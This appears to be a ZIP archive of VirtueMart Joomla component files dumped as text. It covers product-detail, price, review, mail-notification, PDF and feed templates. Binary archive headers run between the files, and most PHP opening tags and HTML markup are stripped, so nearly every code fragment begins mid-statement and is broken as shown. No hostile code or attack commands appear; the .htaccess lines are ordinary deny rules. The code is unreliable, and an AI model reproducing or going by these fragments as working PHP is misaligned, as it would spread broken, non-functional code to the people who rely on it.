'COM_VIRTUEMART_PRODUCT_SALESPRICE', $this->product->prices); if ($this->product->prices['discountedPriceWithoutTax'] != $this->product->prices['priceWithoutTax']) { echo $this->currency->createPriceDiv ('discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $this->product->prices); } else { echo $this->currency->createPriceDiv ('priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $this->product->prices); } echo $this->currency->createPriceDiv ('discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $this->product->prices); echo $this->currency->createPriceDiv ('taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $this->product->prices); $unitPriceDescription = JText::sprintf ('COM_VIRTUEMART_PRODUCT_UNITPRICE', JText::_('COM_VIRTUEMART_UNIT_SYMBOL_'.$this->product->product_unit)); echo $this->currency->createPriceDiv ('unitPrice', $unitPriceDescription, $this->product->prices); } ?>
              PKGy>\O¼RAcom_virtuemart/views/productdetails/tmpl/default_customfields.phpnuW+A
              product->customfieldsSorted[$this->position] as $field) { if ( $field->is_hidden ) //OSP http://forum.virtuemart.net/index.php?topic=99320.0 continue; if ($field->display) { ?>
              custom_title != $custom_title && $field->show_title) { ?> custom_title); ?> custom_tip) echo JHTML::tooltip($field->custom_tip, JText::_($field->custom_title), 'tooltip.png'); } ?> display ?> custom_field_desc) ?>
              custom_title; } } ?>
              PKGy>\[  ;com_virtuemart/views/productdetails/tmpl/default_images.phpnuW+AaddScriptDeclaration ($imageJS); if (!empty($this->product->images)) { $image = $this->product->images[0]; ?>
              displayMediaFull("",true,"rel='vm-additional-images'"); ?>
              product->images); if ($count_images > 1) { ?>
              product->images[$i]; ?>
              displayMediaThumb('class="product-image" style="cursor: pointer"',false,""); echo ''; } else { echo $image->displayMediaThumb("",true,"rel='vm-additional-images'"); } ?>
              PKGy>\<com_virtuemart/views/productdetails/tmpl/mail_raw_notify.phpnuW+AvendorAddress; echo "\n"; echo "\n"; echo JText::sprintf ('COM_VIRTUEMART_MAIL_SHOPPER_NAME', $this->user->name); echo "\n"; echo "\n"; if(!empty($this->mailbody)) { echo $this->mailbody; } else { echo str_replace( "
              ", "\n", JText::sprintf('COM_VIRTUEMART_CART_NOTIFY_MAIL_RAW', $this->productName,$this->link) ); } echo "\n"; $link = JURI::root().'index.php?option=com_virtuemart'; echo "\n\n"; $link= JHTML::_('link', $link, $this->vendor->vendor_name) ; // echo JText::_('COM_VIRTUEMART_MAIL_VENDOR_TITLE').$this->vendor->vendor_name.'
              '; /* GENERAL FOOTER FOR ALL MAILS */ echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . $link; echo "\n"; echo $this->vendor->vendor_name ."\n".$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name ."\n".strip_tags($this->vendor->vendor_store_desc)."\n".str_replace('
              ',"\n",$this->vendor->vendor_legal_info); PKGy>\Xѿ3com_virtuemart/views/productdetails/tmpl/notify.phpnuW+A

              product->product_name); ?>




              PKGy>\?k0com_virtuemart/views/productdetails/tmpl/pdf.xmlnuW+A PKGy>\"k>com_virtuemart/views/productdetails/tmpl/default_addtocart.phpnuW+Aproduct->step_order_level)) $step=$this->product->step_order_level; else $step=1; if($step==0) $step=1; $alert=JText::sprintf ('COM_VIRTUEMART_WRONG_AMOUNT_ADDED', $step); ?>
              product->customfieldsCart)) { ?>
              product->customfieldsCart as $field) { ?>
              show_title) { ?> custom_title) ?> custom_tip) { echo JHTML::tooltip (vmText::_($field->custom_tip), vmText::_ ($field->custom_title), 'tooltip.png'); } ?> display ?> custom_field_desc) ?>

              virtuemart_product_id as link to child product_id * custom_value is relation value to child */ if (!empty($this->product->customsChilds)) { ?>
              product->customsChilds as $field) { ?>
              field->custom_title) ?> field->custom_value) ?> display ?>

              product->product_in_stock - $this->product->product_ordered) < 1) { ?> product->prices['costPrice']; if (!( VmConfig::get('askprice', 0) and empty($tmpPrice) ) ) { ?> product->orderable); // Display the add to cart button END ?>
              PKGy>\^110com_virtuemart/views/productdetails/tmpl/pdf.phpnuW+Aproduct )) { echo JText::_ ( 'COM_VIRTUEMART_PRODUCT_NOT_FOUND' ); echo '

              ' . $this->continue_link_html; return; } ?>

              product->product_name ?>

              product->images) && count($this->product->images)>0) { echo $this->product->images[0]->displayMediaFull('class="product-image"',false); ?>
              product->images as $image) { echo $image->displayMediaThumb('class="product-image"'); //'class="modal"' } ?>
              product->product_s_desc)) { ?>
              product->product_s_desc; ?>
              product->virtuemart_vendor_id); $text = JText::_('COM_VIRTUEMART_VENDOR_FORM_INFO_LBL'); echo ''. JText::_('COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL'). ''; ?>
              */ ?> rating)? JText::_('COM_VIRTUEMART_UNRATED'):$this->rating->rating; echo JText::_('COM_VIRTUEMART_RATING') . $rating; // Product Price if ($this->show_prices) { ?>
              product->product_unit && VmConfig::get ( 'price_show_packaging_pricelabel' )) { echo "" . JText::_ ( 'COM_VIRTUEMART_CART_PRICE_PER_UNIT' ) . ' (' . $this->product->product_unit . "):"; } else { echo "" . JText::_ ( 'COM_VIRTUEMART_CART_PRICE' ) . ""; } if ($this->showBasePrice) { echo $this->currency->createPriceDiv ( 'basePrice', 'COM_VIRTUEMART_PRODUCT_BASEPRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'basePriceVariant', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT', $this->product->prices ); } echo $this->currency->createPriceDiv ( 'variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $this->product->prices ); echo $this->currency->createPriceDiv ( 'basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $this->product->prices ); echo $this->currency->createPriceDiv ( 'discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $this->product->prices ); echo $this->currency->createPriceDiv ( 'salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $this->product->prices ); echo $this->currency->createPriceDiv ( 'discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $this->product->prices ); echo $this->currency->createPriceDiv ( 'taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $this->product->prices ); ?>
              product->customfieldsCart)) { ?>
              product->customfieldsCart as $field) { ?>
              custom_title ?> custom_tip, $field->custom_title, 'tooltip.png'); ?> display ?> custom_field_desc ?>

              virtuemart_product_id as link to child product_id * custom_value is relation value to child */ if (!empty($this->product->customsChilds)) { ?>
              product->customsChilds as $field) { ?>
              field->custom_title ?> field->custom_value ?> display ?>

              product->product_availability)) { ?>
              product->product_availability, $this->product->product_availability, array('class' => 'availability')); ?>
              product->virtuemart_product_id.'&virtuemart_category_id='.$this->product->virtuemart_category_id.'&tmpl=component'); ?>
              product->virtuemart_manufacturer_id)) { ?>
              product->virtuemart_manufacturer_id.'&tmpl=component'); $text = $this->product->mf_name; /* Avoid JavaScript on PDF Output */ if (strtolower(JRequest::getWord('output')) == "pdf"){ echo JHTML::_('link', $link, $text); } else { ?>
              product->product_desc)) { ?>
              product->product_desc; ?>
              product->customfields)) { ?>
              product->customfields as $field){ ?>
              custom_title != $custom_title) { ?> custom_title); ?> custom_tip, $field->custom_title, 'tooltip.png'); } ?> display ?> custom_field_desc) ?>
              custom_title; } ?>
              product->packaging || $this->product->box) { ?>

              product->packaging) { $product_packaging .= JText::_('COM_VIRTUEMART_PRODUCT_PACKAGING1').$this->product->packaging; if ($this->product->box) $product_packaging .= '
              '; } if ($this->product->box) $product_packaging .= JText::_('COM_VIRTUEMART_PRODUCT_PACKAGING2').$this->product->box; echo str_replace("{unit}",$this->product->product_unit ? $this->product->product_unit : JText::_('COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT'), $product_packaging); ?>
              showReview ) { $maxrating = VmConfig::get('vm_maximum_rating_scale',5); $ratingsShow = VmConfig::get('vm_num_ratings_show',3); // TODO add vm_num_ratings_show in vmConfig $starsPath = JURI::root().VmConfig::get('assets_general_path').'images/stars/'; $stars = array(); $showall = JRequest::getBool('showall', false); for ($num=0 ; $num <= $maxrating; $num++ ) { $title = (JText::_("VM_RATING_TITLE").' : '. $num . '/' . $maxrating) ; $stars[] = JHTML::image($starsPath.$num.'.gif', JText::_($num.'_STARS'), array("title" => $title) ); } ?>
              showReview) { $alreadycommented = false; ?>

              rating_reviews as $review ) { if ($i % 2 == 0) { $color = 'normal'; } else { $color = 'highlight'; } // Loop through all reviews if (!empty($this->rating_reviews)) { ?>
              created_on, JText::_('DATE_FORMAT_LC')); ?> review_rating ] //Attention the review rating is the rating of the review itself, rating for the product is the vote !?>
              comment; ?>
              customer ?>
              rating_reviews) < 1) { // "There are no reviews for this product" ?> rating_reviews) >= $ratingsShow ) { $attribute = array('class'=>'details', 'title'=>JText::_('COM_VIRTUEMART_MORE_REVIEWS')); echo JHTML::link($this->more_reviews, JText::_('COM_VIRTUEMART_MORE_REVIEWS'),$attribute); } } ?>
              '.JText::_('COM_VIRTUEMART_DEAR').$this->user->name.',
              ' ; // echo JText::_('COM_VIRTUEMART_REVIEW_ALREADYDONE'); // } if( $this->showReview ) { ?>
              PKGy>\^eAcom_virtuemart/views/productdetails/tmpl/default_manufacturer.phpnuW+A
              product->virtuemart_manufacturer_id . '&tmpl=component', FALSE); $text = $this->product->mf_name; /* Avoid JavaScript on PDF Output */ if (strtolower(JRequest::getWord('output')) == "pdf") { echo JHTML::_('link', $link, $text); } else { ?>
              PKGy>\)2com_virtuemart/views/productdetails/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\ 1994com_virtuemart/views/productdetails/tmpl/default.phpnuW+Aproduct)) { echo JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND'); echo '

              ' . $this->continue_link_html; return; } if(JRequest::getInt('print',false)){ ?> product->virtuemart_product_id . '&virtuemart_category_id=' . $this->product->virtuemart_category_id . '&tmpl=component'; $boxFuncReco = ''; $boxFuncAsk = ''; if(VmConfig::get('usefancy',1)){ vmJsApi::js( 'fancybox/jquery.fancybox-1.3.4.pack'); vmJsApi::css('jquery.fancybox-1.3.4'); if(VmConfig::get('show_emailfriend',0)){ $boxReco = "jQuery.fancybox({ href: '" . $MailLink . "', type: 'iframe', height: '550' });"; } if(VmConfig::get('ask_question', 0)){ $boxAsk = "jQuery.fancybox({ href: '" . $this->askquestion_url . "', type: 'iframe', height: '550' });"; } } else { vmJsApi::js( 'facebox' ); vmJsApi::css( 'facebox' ); if(VmConfig::get('show_emailfriend',0)){ $boxReco = "jQuery.facebox({ iframe: '" . $MailLink . "', rev: 'iframe|550|550' });"; } if(VmConfig::get('ask_question', 0)){ $boxAsk = "jQuery.facebox({ iframe: '" . $this->askquestion_url . "', rev: 'iframe|550|550' });"; } } if(VmConfig::get('show_emailfriend',0) ){ $boxFuncReco = "jQuery('a.recommened-to-friend').click( function(){ ".$boxReco." return false ; });"; } if(VmConfig::get('ask_question', 0)){ $boxFuncAsk = "jQuery('a.ask-a-question').click( function(){ ".$boxAsk." return false ; });"; } if(!empty($boxFuncAsk) or !empty($boxFuncReco)){ $document = JFactory::getDocument(); $document->addScriptDeclaration(" // "); } ?>
              product->neighbours ['previous'][0])) { $prev_link = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $this->product->neighbours ['previous'][0] ['virtuemart_product_id'] . '&virtuemart_category_id=' . $this->product->virtuemart_category_id, FALSE); echo JHTML::_('link', $prev_link, $this->product->neighbours ['previous'][0] ['product_name'], array('rel'=>'prev', 'class' => 'previous-page')); } if (!empty($this->product->neighbours ['next'][0])) { $next_link = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $this->product->neighbours ['next'][0] ['virtuemart_product_id'] . '&virtuemart_category_id=' . $this->product->virtuemart_category_id, FALSE); echo JHTML::_('link', $next_link, $this->product->neighbours ['next'][0] ['product_name'], array('rel'=>'next','class' => 'next-page')); } ?>
              product->virtuemart_category_id) { $catURL = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$this->product->virtuemart_category_id, FALSE); $categoryName = $this->product->category_name ; } else { $catURL = JRoute::_('index.php?option=com_virtuemart'); $categoryName = jText::_('COM_VIRTUEMART_SHOP_HOME') ; } ?>

              product->product_name ?>

              product->event->afterDisplayTitle ?> edit_link; // Product Edit Link END ?>
              product->virtuemart_product_id; echo $this->linkIcon($link . '&format=pdf', 'COM_VIRTUEMART_PDF', 'pdf_button', 'pdf_icon', false); echo $this->linkIcon($link . '&print=1', 'COM_VIRTUEMART_PRINT', 'printButton', 'show_printicon'); echo $this->linkIcon($MailLink, 'COM_VIRTUEMART_EMAIL', 'emailButton', 'show_emailfriend', false,true,false,'class="recommened-to-friend"'); ?>
              product->product_s_desc)) { ?>
              product->product_s_desc); ?>
              product->customfieldsSorted['ontop'])) { $this->position = 'ontop'; echo $this->loadTemplate('customfields'); } // Product Custom ontop end ?>
              loadTemplate('images'); ?>
              product->virtuemart_vendor_id); $text = JText::_('COM_VIRTUEMART_VENDOR_FORM_INFO_LBL'); echo ''. JText::_('COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL'). ''; ?>
              */ ?> showRating) { $maxrating = VmConfig::get('vm_maximum_rating_scale', 5); if (empty($this->rating)) { ?> rating->rating * 24; //I don't use round as percetntage with works perfect, as for me ?> rating->rating) . '/' . $maxrating; ?>
              rating->rating) . '/' . $maxrating) ?>" class="ratingbox" style="display:inline-block;">
              productDisplayShipments)) { foreach ($this->productDisplayShipments as $productDisplayShipment) { echo $productDisplayShipment . '
              '; } } if (is_array($this->productDisplayPayments)) { foreach ($this->productDisplayPayments as $productDisplayPayment) { echo $productDisplayPayment . '
              '; } } // Product Price // the test is done in show_prices //if ($this->show_prices and (empty($this->product->images[0]) or $this->product->images[0]->file_is_downloadable == 0)) { echo $this->loadTemplate('showprices'); //} ?> product->prices) and !empty($this->product->images[0]) and $this->product->images[0]->file_is_downloadable==0 ) { // if (!VmConfig::get('use_as_catalog', 0) and !empty($this->product->prices['salesPrice'])) { echo $this->loadTemplate('addtocart'); // } // Add To Cart Button END ?> product->product_available_date,0,10); $current_date = date("Y-m-d"); if (($this->product->product_in_stock - $this->product->product_ordered) < 1) { if ($product_available_date != '0000-00-00' and $current_date < $product_available_date) { ?>
              product->product_available_date, JText::_('DATE_FORMAT_LC4')); ?>
              product->product_availability)) { ?>
              'availability')) : JText::_(VmConfig::get('rised_availability')); ?>
              product->product_availability)) { ?>
              product->product_availability)) ? JHTML::image(JURI::root() . VmConfig::get('assets_general_path') . 'images/availability/' . $this->product->product_availability, $this->product->product_availability, array('class' => 'availability')) : JText::_($this->product->product_availability); ?>
              product->product_available_date, JText::_('DATE_FORMAT_LC4')); ?>
              product->virtuemart_manufacturer_id)) { echo $this->loadTemplate('manufacturer'); } ?>
              product->event->beforeDisplayContent; ?> product->product_desc)) { ?>
              product->product_desc; ?>
              product->customfieldsSorted['normal'])) { $this->position = 'normal'; echo $this->loadTemplate('customfields'); } // Product custom_fields END // Product Packaging $product_packaging = ''; if ($this->product->product_box) { ?>
              product->product_box; ?>
              product->images as $fkey => $file) { // Todo add downloadable files again // if( $file->filesize > 0.5) $filesize_display = ' ('. number_format($file->filesize, 2,',','.')." MB)"; // else $filesize_display = ' ('. number_format($file->filesize*1024, 2,',','.')." KB)"; /* Show pdf in a new Window, other file types will be offered as download */ // $target = stristr($file->file_mimetype, "pdf") ? "_blank" : "_self"; // $link = JRoute::_('index.php?view=productdetails&task=getfile&virtuemart_media_id='.$file->virtuemart_media_id.'&virtuemart_product_id='.$this->product->virtuemart_product_id); // echo JHTMl::_('link', $link, $file->file_title.$filesize_display, array('target' => $target)); // } if (!empty($this->product->customfieldsRelatedProducts)) { echo $this->loadTemplate('relatedproducts'); } // Product customfieldsRelatedProducts END if (!empty($this->product->customfieldsRelatedCategories)) { echo $this->loadTemplate('relatedcategories'); } // Product customfieldsRelatedCategories END // Show child categories if (VmConfig::get('showCategory', 1)) { echo $this->loadTemplate('showcategory'); } if (!empty($this->product->customfieldsSorted['onbot'])) { $this->position='onbot'; echo $this->loadTemplate('customfields'); } // Product Custom ontop end ?> product->event->afterDisplayContent; ?> loadTemplate('reviews'); ?>
              PKGy>\K7ss4com_virtuemart/views/productdetails/tmpl/default.xmlnuW+A COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE
              PKGy>\o {4{48com_virtuemart/views/productdetails/tmpl/default_pdf.phpnuW+Atype)) { $document = JFactory::getDocument(); $document->setTitle($this->product->product_name); $document->setName($this->product->product_name); $document->setDescription( $this->product->product_s_desc); } /* Let's see if we found the product */ if (empty ( $this->product )) { echo JText::_ ( 'COM_VIRTUEMART_PRODUCT_NOT_FOUND' ); echo '

              ' . $this->continue_link_html; return; } ?>

              product->product_name ?>

              product->images) && count($this->product->images)>0) { echo $this->product->images[0]->displayMediaFull('class="product-image"',false); ?>
              product->images as $image) { echo $image->displayMediaThumb('class="product-image"'); //'class="modal"' } ?>
              product->product_s_desc)) { ?>
              product->product_s_desc; ?>
              product->virtuemart_vendor_id); $text = JText::_('COM_VIRTUEMART_VENDOR_FORM_INFO_LBL'); echo ''. JText::_('COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL'). ''; ?>
              */ ?> rating)? JText::_('COM_VIRTUEMART_UNRATED'):$this->rating->rating; echo JText::_('COM_VIRTUEMART_RATING') . $rating; // Product Price if ($this->show_prices) { ?>
              product->product_unit && VmConfig::get ( 'price_show_packaging_pricelabel' )) { echo "" . JText::_ ( 'COM_VIRTUEMART_CART_PRICE_PER_UNIT' ) . ' (' . $this->product->product_unit . "):"; } else { echo "" . JText::_ ( 'COM_VIRTUEMART_CART_PRICE' ) . ""; } echo $this->currency->createPriceDiv ( 'variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $this->product->prices ); echo $this->currency->createPriceDiv ( 'basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $this->product->prices ); echo $this->currency->createPriceDiv ( 'discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $this->product->prices ); echo $this->currency->createPriceDiv ( 'salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $this->product->prices ); echo $this->currency->createPriceDiv ( 'priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $this->product->prices ); echo $this->currency->createPriceDiv ( 'discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $this->product->prices ); echo $this->currency->createPriceDiv ( 'taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $this->product->prices ); ?>
              product->product_availability)) { ?>
              product->product_availability, $this->product->product_availability, array('class' => 'availability')); ?>
              product->virtuemart_product_id.'&virtuemart_category_id='.$this->product->virtuemart_category_id.'&tmpl=component'); ?>
              product->virtuemart_manufacturer_id)) { ?>
              product->virtuemart_manufacturer_id.'&tmpl=component'); $text = $this->product->mf_name; /* Avoid JavaScript on PDF Output */ if (strtolower(JRequest::getWord('output')) == "pdf"){ echo JHTML::_('link', $link, $text); } else { ?>
              product->product_desc)) { ?>
              product->product_desc; ?>
              product->customfields)) { ?>
              product->customfields as $field){ ?>
              custom_title != $custom_title) { ?> custom_title); ?> custom_tip, $field->custom_title, 'tooltip.png'); } ?> display ?> custom_field_desc) ?>
              custom_title; } ?>
              product->product_box) { ?>
              product->product_box; ?>
              product->images as $fkey => $file) { // Todo add downloadable files again // if( $file->filesize > 0.5) $filesize_display = ' ('. number_format($file->filesize, 2,',','.')." MB)"; // else $filesize_display = ' ('. number_format($file->filesize*1024, 2,',','.')." KB)"; /* Show pdf in a new Window, other file types will be offered as download */ // $target = stristr($file->file_mimetype, "pdf") ? "_blank" : "_self"; // $link = JRoute::_('index.php?view=productdetails&task=getfile&virtuemart_media_id='.$file->virtuemart_media_id.'&virtuemart_product_id='.$this->product->virtuemart_product_id); // echo JHTMl::_('link', $link, $file->file_title.$filesize_display, array('target' => $target)); // } ?> product->related && !empty($this->product->related)) { $iRelatedCol = 1; $iRelatedProduct = 1; $RelatedProducts_per_row = 4 ; $Relatedcellwidth = ' width'.floor ( 100 / $RelatedProducts_per_row ); $verticalseparator = " vertical-separator"; ?>
              allowRating || $this->showReview) { $maxrating = VmConfig::get('vm_maximum_rating_scale',5); $ratingsShow = VmConfig::get('vm_num_ratings_show',3); // TODO add vm_num_ratings_show in vmConfig $starsPath = JURI::root().VmConfig::get('assets_general_path').'images/stars/'; $stars = array(); $showall = JRequest::getBool('showall', false); for ($num=0 ; $num <= $maxrating; $num++ ) { $title = (JText::_("VM_RATING_TITLE").' : '. $num . '/' . $maxrating) ; $stars[] = JHTML::image($starsPath.$num.'.gif', JText::_($num.'_STARS'), array("title" => $title) ); } ?>
              showReview) { $alreadycommented = false; ?>

              rating_reviews as $review ) { if ($i % 2 == 0) { $color = 'normal'; } else { $color = 'highlight'; } ?> rating_reviews)) { ?>
              created_on, JText::_('DATE_FORMAT_LC')); ?> review_rating ] //Attention the review rating is the rating of the review itself, rating for the product is the vote !?>
              comment; ?>
              customer ?>
              rating_reviews) < 1) { // "There are no reviews for this product" ?> rating_reviews) >= $ratingsShow ) { $attribute = array('class'=>'details', 'title'=>JText::_('COM_VIRTUEMART_MORE_REVIEWS')); echo JHTML::link($this->more_reviews, JText::_('COM_VIRTUEMART_MORE_REVIEWS'),$attribute); } } ?>
              allowRating || $this->showReview) { ?>
              PKGy>\1~ ~ =com_virtuemart/views/productdetails/tmpl/mail_html_notify.phpnuW+A

              '; /* GENERAL FOOTER FOR ALL MAILS */ $link = JURI::root().'index.php?option=com_virtuemart'; echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . ''.$this->vendor->vendor_name.''; echo '
              '; echo $this->vendor->vendor_name .'
              '.$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name .'
              '.$this->vendor->vendor_store_desc.'
              '.$this->vendor->vendor_legal_info; ?>
              PKGy>\)-com_virtuemart/views/productdetails/.htaccessnuW+A Order allow,deny Deny from all PKGy>\#o,,.com_virtuemart/views/productdetails/index.htmlnuW+APKGy>\ʅ0com_virtuemart/views/pluginresponse/metadata.xmlnuW+A PKGy>\)-com_virtuemart/views/pluginresponse/.htaccessnuW+A Order allow,deny Deny from all PKGy>\$BN&&1com_virtuemart/views/pluginresponse/view.html.phpnuW+AgetPathway(); $document = JFactory::getDocument(); // $paymentResponse = JRequest::getVar('paymentResponse', ''); //Why do you we allow raw here? // $paymentResponseHtml = JRequest::getVar('paymentResponseHtml','','default','STRING',JREQUEST_ALLOWRAW); $layoutName = $this->getLayout(); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); parent::display($tpl); } } //no closing tagPKGy>\.com_virtuemart/views/pluginresponse/index.htmlnuW+APKGy>\2n4com_virtuemart/views/pluginresponse/tmpl/default.phpnuW+A" . $this->paymentResponse . ""; if ($this->paymentResponseHtml) { echo "
              "; echo $this->paymentResponseHtml; echo "
              "; } // add something??? PKGy>\3com_virtuemart/views/pluginresponse/tmpl/index.htmlnuW+APKGy>\)2com_virtuemart/views/pluginresponse/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\֪-com_virtuemart/views/virtuemart/view.feed.phpnuW+AgetProductListing ('featured', $featured_nb); } if (VmConfig::get ('feed_latest_published', 1)) { $latest_nb = VmConfig::get('feed_latest_nb'); $latest = $productModel->getProductListing ('latest', $latest_nb); } if ( VmConfig::get ('feed_topten_published', 1)) { $topTen_nb = VmConfig::get('feed_topten_nb'); $topten = $productModel->getProductListing ('topten',$topTen_nb); } $products = array_merge ($products, $featured, $latest, $topten); if ($feed_show_images == 1) { $productModel->addImages ($products, 1); } if ($products && $feed_show_prices == 1) { $currency = CurrencyDisplay::getInstance (); } foreach ($products as $product) { $title = $this->escape ($product->product_name); $title = html_entity_decode ($title, ENT_COMPAT, 'UTF-8'); $description = ""; if ($feed_show_images == 1) { $effect = " "; $return = true; $withDescr = false; $absUrl = true; $description = $product->images[0]->displayMediaThumb ('style="margin-right: 10px; margin-bottom: 10px; float: left;"', false, $effect, $return, $withDescr, $absUrl); } if ($feed_show_description == 1) { if ($feed_description_type == 'product_s_desc') { $description .= $product->product_s_desc; } else { if ($feed_max_text_length > 0) { $description .= shopFunctionsF::limitStringByWord ($product->product_desc, $feed_max_text_length); } else { $description .= $product->product_desc; } } } if ($feed_show_prices == 1 and $show_prices == 1) { $description .= $currency->createPriceDiv ('variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $product->prices); if (round ($product->prices['basePriceWithTax'], $currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { $description .= '' . $currency->createPriceDiv ('basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $product->prices) . ""; } if (round ($product->prices['salesPriceWithDiscount'], $currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { $description .= $currency->createPriceDiv ('salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $product->prices); } $description .= $currency->createPriceDiv ('salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $product->prices); $description .= $currency->createPriceDiv ('priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices); $description .= $currency->createPriceDiv ('discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $product->prices); $description .= $currency->createPriceDiv ('taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $product->prices); $unitPriceDescription = JText::sprintf ('COM_VIRTUEMART_PRODUCT_UNITPRICE', $product->product_unit); $description .= $currency->createPriceDiv ('unitPrice', $unitPriceDescription, $product->prices); } if ($feed_description_type == 'product_s_desc' OR $feed_max_text_length > 0) { $description .= '

              link) . '">' . JText::_ ('COM_VIRTUEMART_FEED_READMORE') . '

              '; } $item = new JFeedItem(); $item->title = $title; $item->link = $product->link; $item->date = $product->created_on; $item->description = '
              ' . $description . '
              '; $item->category = $product->virtuemart_catgory_id; $doc->addItem ($item); } } }PKGy>\!Ѹcc9com_virtuemart/views/virtuemart/tmpl/default_products.phpnuW+Aproducts as $type => $productList ) { // Calculating Products Per Row $products_per_row = VmConfig::get ( 'homepage_products_per_row', 3 ) ; $cellwidth = ' width'.floor ( 100 / $products_per_row ); // Category and Columns Counter $col = 1; $nb = 1; $productTitle = JText::_('COM_VIRTUEMART_'.$type.'_PRODUCT'); ?>

              $products_per_row) { ?>

              virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id, FALSE ), $product->product_name, array ('title' => $product->product_name ) ); ?>

              images) { //echo JHTML::_ ( 'link', JRoute::_ ( 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id, FALSE ), $product->images[0]->displayMediaThumb( 'class="featuredProductImage"',true,'class="modal"' ) ); echo $product->images[0]->displayMediaThumb( 'class="featuredProductImage"',true,'class="modal"' ) ; } ?>
              product_unit && VmConfig::get('vm_price_show_packaging_pricelabel')) { // echo "". JText::_('COM_VIRTUEMART_CART_PRICE_PER_UNIT').' ('.$featProduct->product_unit."):"; // } else echo "". JText::_('COM_VIRTUEMART_CART_PRICE'). ": "; if ($this->showBasePrice) { echo $this->currency->createPriceDiv( 'basePrice', 'COM_VIRTUEMART_PRODUCT_BASEPRICE', $product->prices ); echo $this->currency->createPriceDiv( 'basePriceVariant', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT', $product->prices ); } echo $this->currency->createPriceDiv( 'variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $product->prices ); if (round($product->prices['basePriceWithTax'],$this->currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { echo '
              ' . $this->currency->createPriceDiv( 'basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $product->prices ) . "
